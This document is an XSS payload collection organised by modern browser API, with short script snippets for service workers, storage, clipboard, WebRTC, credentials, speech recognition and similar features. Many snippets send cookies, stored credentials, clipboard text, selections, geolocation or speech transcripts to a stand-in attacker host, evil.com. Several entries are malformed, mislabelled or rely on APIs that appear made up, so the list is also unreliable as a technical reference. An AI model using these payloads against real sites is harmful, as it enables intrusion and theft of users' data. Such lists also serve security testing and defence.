# Modern Browser Feature Abuse XSS Payloads
# XSS payloads abusing modern browser features and APIs

# === Service Worker XSS ===
# Service worker registration for persistent XSS
<script>
if('serviceWorker'in navigator){
  navigator.serviceWorker.register('data:application/javascript,'+btoa('self.addEventListener("fetch",e=>e.respondWith(new Response("<script>alert(1)</script>",{headers:{"Content-Type":"text/html"}}))')));
}
</script>

# Service worker with cache poisoning
<script>
navigator.serviceWorker.register('/sw.js?c=<script>alert(1)</script>');
</script>

# === Web Workers XSS ===
# Web worker for code execution
<script>
new Worker(URL.createObjectURL(new Blob(['importScripts("data:application/javascript,"+btoa("alert(1)")')'],{type:"text/javascript"})));
</script>

# Worker via blob
<script>
new Worker(URL.createObjectURL(new Blob(['postMessage("XSS")'],{type:'text/javascript'}))).onmessage=e=>eval(e.data);
</script>

# Shared Worker XSS
<script>
new SharedWorker('data:text/javascript,alert(1)');
</script>

# === Broadcast Channel XSS ===
# Cross-tab communication
<script>
const bc=new BroadcastChannel('xss');
bc.postMessage('<script>alert(1)</script>');
</script>

<script>
new BroadcastChannel('test').onmessage=e=>eval(e.data);
</script>

# === MessageChannel XSS ===
<script>
const mc=new MessageChannel();
mc.port1.onmessage=e=>eval(e.data);
mc.port2.postMessage('<script>alert(1)</script>');
</script>

# === postMessage XSS ===
# PostMessage injection
<iframe src="victim.html" onload="frames[0].postMessage('<script>alert(1)</script>','*')">

<script>
window.addEventListener('message',e=>{eval(e.data)});
window.opener.postMessage('alert(1)','*');
</script>

# === Storage API XSS ===
# localStorage-based stored XSS
<script>
localStorage.setItem('xss','<script>alert(1)</script>');
</script>

# sessionStorage XSS
<script>
sessionStorage.setItem('xss','<img src=x onerror=alert(1)>');
</script>

# IndexedDB XSS
<script>
let req=indexedDB.open('xss',1);
req.onupgradeneeded=e=>{
  let db=e.target.result;
  db.createObjectStore('payloads').add('<script>alert(1)</script>','payload');
};
</script>

# Cache API XSS
<script>
caches.open('xss').then(c=>c.put(new Request('xss.html'),new Response('<script>alert(1)</script>')));
</script>

# === WebSockets + Modern Features ===
# WebSocket + Blob
<script>
const ws=new WebSocket('ws://target');
ws.onmessage=e=>{
  const b=new Blob([e.data],{type:'text/html'});
  const u=URL.createObjectURL(b);
  location=u;
};
</script>

# === Clipboard API XSS ===
# Clipboard poisoning
<script>
navigator.clipboard.writeText('<script>alert(1)</script>');
</script>

# Clipboard read XSS
<script>
navigator.clipboard.readText().then(t=>eval(t));
</script>

# === Web Authentication XSS ===
# WebAuthn abuse
<script>
navigator.credentials.create({publicKey:{
  challenge:new Uint8Array([1]),
  rp:{name:'XSS'},
  user:{id:new Uint8Array([1]),name:'xss',displayName:'XSS'},
  pubKeyCredParams:[{type:'public-key',alg:-7}]
}}).then(c=>console.log(c));
</script>

# === Payment Request XSS ===
# Payment handler abuse
<script>
new PaymentRequest([{supportedMethods:'basic-card'}],{
  total:{label:'XSS',amount:{currency:'USD',value:'0'}}
}).show();
</script>

# === Web Share XSS ===
# Share API abuse
<script>
navigator.share({
  title:'XSS',
  text:'<script>alert(1)</script>',
  url:'javascript:alert(1)'
});
</script>

# === Web NFC XSS ===
# NFC abuse
<script>
const nfc=new NDEFReader();
nfc.write({records:[{recordType:'text',data:'<script>alert(1)</script>'}]});
</script>

# === Web Bluetooth XSS ===
# Bluetooth device info leak
<script>
navigator.bluetooth.requestDevice({acceptAllDevices:true}).then(d=>console.log(d));
</script>

# === Web USB XSS ===
# USB device access
<script>
navigator.usb.requestDevice({filters:[]}).then(d=>console.log(d));
</script>

# === Web Serial XSS ===
# Serial port access
<script>
navigator.serial.requestPort().then(p=>console.log(p));
</script>

# === Web HID XSS ===
# HID device access
<script>
navigator.hid.requestDevice({filters:[]}).then(d=>console.log(d));
</script>

# === Geolocation API XSS ===
# Geolocation data exfiltration
<script>
navigator.geolocation.getCurrentPosition(p=>fetch('https://evil.com/?loc='+JSON.stringify(p)));
</script>

# === MediaDevices XSS ===
# Camera/mic permission abuse
<script>
navigator.mediaDevices.getUserMedia({video:true,audio:true}).then(s=>{
  // Could stream to external server
  console.log(s);
});
</script>

# === Screen Capture XSS ===
# getDisplayMedia abuse
<script>
navigator.mediaDevices.getDisplayMedia().then(s=>{
  // Screen capture stream
  console.log(s);
});
</script>

# === WebRTC XSS ===
# WebRTC data channel
<script>
const pc=new RTCPeerConnection();
pc.createDataChannel('xss');
pc.onicecandidate=e=>{
  if(e.candidate)fetch('https://evil.com/?ice='+btoa(e.candidate.candidate));
};
</script>

# === Notification XSS ===
# Notification API abuse
<script>
Notification.requestPermission().then(p=>{
  if(p==='granted')new Notification('XSS',{body:'<script>alert(1)</script>'});
});
</script>

# === Push API XSS ===
# Push subscription hijack
<script>
navigator.serviceWorker.ready.then(sw=>{
  sw.pushManager.subscribe({userVisibleOnly:true}).then(s=>{
    fetch('https://evil.com/?push='+btoa(JSON.stringify(s)));
  });
});
</script>

# === Vibration XSS ===
# Vibration API for side-channel
<script>
navigator.vibrate([100,50,100]);
</script>

# === Battery Status XSS ===
# Battery info leak
<script>
navigator.getBattery().then(b=>{
  fetch('https://evil.com/?battery='+b.level);
});
</script>

# === Network Information XSS ===
# Network info leak
<script>
if(navigator.connection){
  fetch('https://evil.com/?net='+navigator.connection.effectiveType);
}
</script>

# === Memory API XSS ===
# Memory measurement
<script>
if(performance.memory){
  fetch('https://evil.com/?mem='+performance.memory.usedJSHeapSize);
}
</script>

# === Performance Timeline XSS ===
# Performance timing attack
<script>
const p=performance.getEntriesByType('navigation')[0];
fetch('https://evil.com/?timing='+JSON.stringify(p));
</script>

# === Resource Timing XSS ===
# Resource history leak
<script>
const resources=performance.getEntriesByType('resource');
fetch('https://evil.com/?resources='+JSON.stringify(resources.map(r=>r.name)));
</script>

# === Beacon XSS ===
# Beacon API for data exfiltration
<script>
navigator.sendBeacon('https://evil.com/',JSON.stringify({cookies:document.cookie}));
</script>

# === Fetch API XSS ===
# Advanced fetch with streaming
<script>
fetch('https://evil.com/',{
  method:'POST',
  body:JSON.stringify({cookies:document.cookie}),
  mode:'no-cors'
});
</script>

# === Streams API XSS ===
# ReadableStream abuse
<script>
fetch('data:text/html,<script>alert(1)</script>').then(r=>r.body.getReader().read());
</script>

# === Web Assembly XSS ===
# WASM-based code execution
<script>
WebAssembly.instantiateStreaming(fetch('data:application/wasm,AGFzbQEAAAABBwBgA39/fwF/A38AAQAQAQAHBwEDDWRudGFfYWxlcnQAAAwIAQQA'));
</script>

# === Web Audio XSS ===
# Audio context fingerprinting
<script>
const ctx=new AudioContext();
fetch('https://evil.com/?audio='+ctx.destination.maxChannelCount);
</script>

# === Web Speech XSS ===
# Speech recognition
<script>
const recognition=new webkitSpeechRecognition();
recognition.onresult=e=>fetch('https://evil.com/?speech='+e.results[0][0].transcript);
recognition.start();
</script>

# === WebVR/XR XSS ===
# VR device info
<script>
navigator.xr.isSessionSupported('immersive-vr').then(s=>{
  if(s)navigator.xr.requestSession('immersive-vr');
});
</script>

# === Animation XSS ===
# Web Animation API
<script>
document.body.animate([{opacity:0},{opacity:1}],{duration:1000});
</script>

# === Intersection Observer XSS ===
# Visibility tracking
<script>
new IntersectionObserver(e=>{
  if(e[0].isIntersecting)fetch('https://evil.com/?visible');
}).observe(document.body);
</script>

# === Resize Observer XSS ===
# Resize tracking
<script>
new ResizeObserver(e=>{
  fetch('https://evil.com/?size='+e[0].contentRect.width);
}).observe(document.body);
</script>

# === Mutation Observer XSS ===
# DOM change tracking
<script>
new MutationObserver(e=>{
  fetch('https://evil.com/?mutated');
}).observe(document.body,{childList:true,subtree:true});
</script>

# === Performance Observer XSS ===
# Performance monitoring
<script>
new PerformanceObserver(e=>{
  fetch('https://evil.com/?perf='+e.getEntries()[0].name);
}).observe({entryTypes:['resource','navigation']});
</script>

# === Reporting Observer XSS ===
# Deprecation/intervention reports
<script>
new ReportingObserver(e=>{
  fetch('https://evil.com/?report='+JSON.stringify(e));
}).observe();
</script>

# === Content Index XSS ===
# Content indexing
<script>
navigator.serviceWorker.ready.then(sw=>{
  sw.index.add({id:'xss',url:'javascript:alert(1)',title:'XSS'});
});
</script>

# === File System Access XSS ===
# File system abuse
<script>
window.showDirectoryPicker().then(dir=>{
  // Could read files
  console.log(dir);
});
</script>

# === Wake Lock XSS ===
# Screen/lock prevention
<script>
navigator.wakeLock.request('screen').then(l=>console.log(l));
</script>

# === Scheduler XSS ===
# Task scheduling
<script>
navigator.serviceWorker.ready.then(sw=>{
  sw.registration.scheduler.add('xss',{delay:1000,data:'alert(1)'});
});
</script>

# === Content Security Policy Level 3 Bypass ===
# CSP report-uri abuse
<script>
// Report-only mode detection
if(CSP.isNonceOrHashPresent===undefined){
  // Might have bypass opportunities
}
</script>

# === Trusted Types XSS ===
# Trusted types bypass
<script>
let policy;
if(window.trustedTypes){
  policy=trustedTypes.createPolicy('xss',{
    createHTML:s=>s,
    createScript:s=>s,
    createScriptURL:s=>s
  });
}
</script>

# === Origin Isolation XSS ===
# Origin key detection
<script>
if(!crossOriginIsolated){
  // SharedArrayBuffer available
}
</script>

# === COOP/COEP XSS ===
# Cross-origin opener detection
<script>
if(window.opener===null&&window.crossOriginIsolated){
  // Full process isolation
}
</script>

# === Permissions Policy XSS ===
# Feature detection
<script>
if(navigator.permissions){
  navigator.permissions.query({name:'geolocation'}).then(p=>{
    if(p.state==='granted')fetch('https://evil.com/?geo=enabled');
  });
}
</script>

# === Credential Management XSS ===
# Credential leak
<script>
navigator.credentials.get({password:true}).then(c=>{
  fetch('https://evil.com/?cred='+btoa(JSON.stringify(c)));
});
</script>

# === Storage Manager XSS ===
# Storage estimate
<script>
navigator.storage.estimate().then(e=>{
  fetch('https://evil.com/?storage='+e.usage);
});
</script>

# === Port Collection XSS ===
# MessageChannel context isolation
<script>
const mc=new MessageChannel();
window.addEventListener('message',e=>{
  if(e.ports[0])e.ports[0].postMessage('XSS');
});
</script>

# === DOM Matrix XSS ===
# Transform abuse
<script>
const m=new DOMMatrix();
window.postMessage(m.toString(),'*');
</script>

# === DOM Point XSS ===
# Point data leak
<script>
const p=new DOMPoint(1,2);
fetch('https://evil.com/?point='+JSON.stringify(p));
</script>

# === DOM Quad XSS ===
# Quad data leak
<script>
const q=new DOMQuad();
console.log(q.toJSON());
</script>

# === DOM Rect XSS ===
# Rectangle leak
<script>
const r=document.body.getBoundingClientRect();
fetch('https://evil.com/?rect='+r.width);
</script>

# === Selection XSS ===
# Selection content leak
<script>
document.addEventListener('selectionchange',()=>{
  const sel=window.getSelection().toString();
  if(sel)fetch('https://evil.com/?sel='+btoa(sel));
});
</script>

# === HTML Drag and Drop XSS ===
# Drag data theft
<script>
document.addEventListener('dragstart',e=>{
  e.dataTransfer.setData('text/plain','XSS');
});
</script>

# === Clipboard Event XSS ===
# Copy/paste hijacking
<script>
document.addEventListener('copy',e=>{
  e.clipboardData.setData('text/plain','XSS');
});
</script>

# === Before Install Prompt XSS ===
# PWA installation hijack
<script>
window.addEventListener('beforeinstallprompt',e=>{
  e.preventDefault();
  // Could manipulate install UI
});
</script>

# === App Banner XSS ===
# App banner manipulation
<script>
window.addEventListener('appinstalled',()=>{
  alert('App installed - XSS context');
});
</script>

# === Custom Elements XSS ===
# Custom element shadow DOM
<script>
class XssElement extends HTMLElement{
  constructor(){
    super();
    this.attachShadow({mode:'open'}).innerHTML='<script>alert(1)</script>';
  }
}
customElements.define('xss-element',XssElement);
</script>

# === Shadow DOM XSS ===
# Shadow DOM piercing
<script>
const el=document.createElement('div');
el.attachShadow({mode:'open'}).innerHTML='<script>alert(1)</script>';
document.body.appendChild(el);
</script>

# === Template Element XSS ===
# Template cloning
<script>
const tpl=document.createElement('template');
tpl.innerHTML='<script>alert(1)</script>';
document.body.appendChild(tpl.content.cloneNode(true));
</script>

# === Import XSS ===
# HTML imports (deprecated but may work)
<link rel="import" href="data:text/html,<script>alert(1)</script>">

# === ES Modules XSS ===
# Dynamic import
<script>
import('data:text/javascript,alert(1)');
</script>

# === Worker Modules XSS ===
# Module worker
<script>
new Worker('data:text/javascript,type=module,alert(1)');
</script>

# === CSS Paint API XSS ===
# Paint worklet
<script>
CSS.paintWorklet.addModule('data:text/javascript,alert(1)');
</script>

# === CSS Layout API XSS ===
# Layout worklet
<script>
CSS.layoutWorklet.addModule('data:text/javascript,alert(1)');
</script>

# === OffscreenCanvas XSS ===
# Offscreen canvas worker
<script>
const offscreen=new OffscreenCanvas(100,100);
offscreen.getContext('2d');
// Could transfer to worker for persistent XSS
</script>

# === Web Crypto XSS ===
# Crypto operations
<script>
crypto.subtle.digest('SHA-256',new TextEncoder().encode('XSS')).then(h=>{
  fetch('https://evil.com/?hash='+btoa(String.fromCharCode(...new Uint8Array(h))));
});
</script>

# === Reporting XSS ===
# Deprecation report hijack
<script>
new ReportingObserver(r=>{
  r.forEach(r=>fetch('https://evil.com/?report='+btoa(JSON.stringify(r))));
}).observe();
</script>

# === Speculation Rules XSS ===
# Prefetch manipulation
<script>
const spec=document.createElement('script');
spec.type='speculationrules';
spec.textContent=JSON.stringify({prefetch:[{urls:['javascript:alert(1)']}]});
document.head.appendChild(spec);
</script>

# === Federated Credentials XSS ===
# FedCM abuse
<script>
navigator.credentials.get({federated:{providers:[{url:'https://evil.com/fedcm']}}});
</script>

# === Private State Tokens XSS ===
# Trust token abuse
<script>
document.hasPrivateToken('https://evil.com').then(has=>{
  if(has)fetch('https://evil.com/?token=1');
});
</script>

# === Attribution Reporting XSS ===
# Attribution leak
<script>
fetch('https://evil.com/?attribution',{
  headers:{'Attribution-Reporting-Eligible':'trigger-event'}
});
</script>

# === CHIPS XSS ===
# Cookies Having Independent Partitioned State
<script>
document.cookie='x=test; SameSite=None; Secure; Partitioned';
</script>

# === Bounce Tracking XSS ===
# Bounce tracking mitigation detection
<script>
if(navigator.bounceTrackingMitigation){
  // Detect bounce tracking protection status
}
</script>

# === Storage Access XSS ===
# Storage access API
<script>
document.requestStorageAccess().then(()=>{
  alert('Cross-origin cookies accessible');
});
</script>

# === Async Clipboard XSS ===
# Async clipboard operations
<script>
navigator.clipboard.read().then(items=>{
  items.forEach(item=>item.getType('text/plain').then(t=>fetch('https://evil.com/?clip='+btoa(t))));
});
</script>

# === Web Transport XSS ===
# WebTransport for data exfiltration
<script>
const wt=new WebTransport('https://evil.com/');
wt.ready.then(()=>{
  wt.createBidirectionalStream().then(s=>{
    const writer=s.writable.getWriter();
    writer.write(new TextEncoder().encode(document.cookie));
  });
});
</script>

# === Scheduling XSS ===
# Prioritized task scheduling
<script>
scheduler.postTask(()=>fetch('https://evil.com/?xss=1'),{priority:'user-blocking'});
</script>

# === Eye Tracking XSS ===
# Eye tracking features
<script>
// May work with eye tracking hardware
if(window.EyeTracker){
  window.EyeTracker.onData=e=>fetch('https://evil.com/?eye='+JSON.stringify(e));
}
</script>
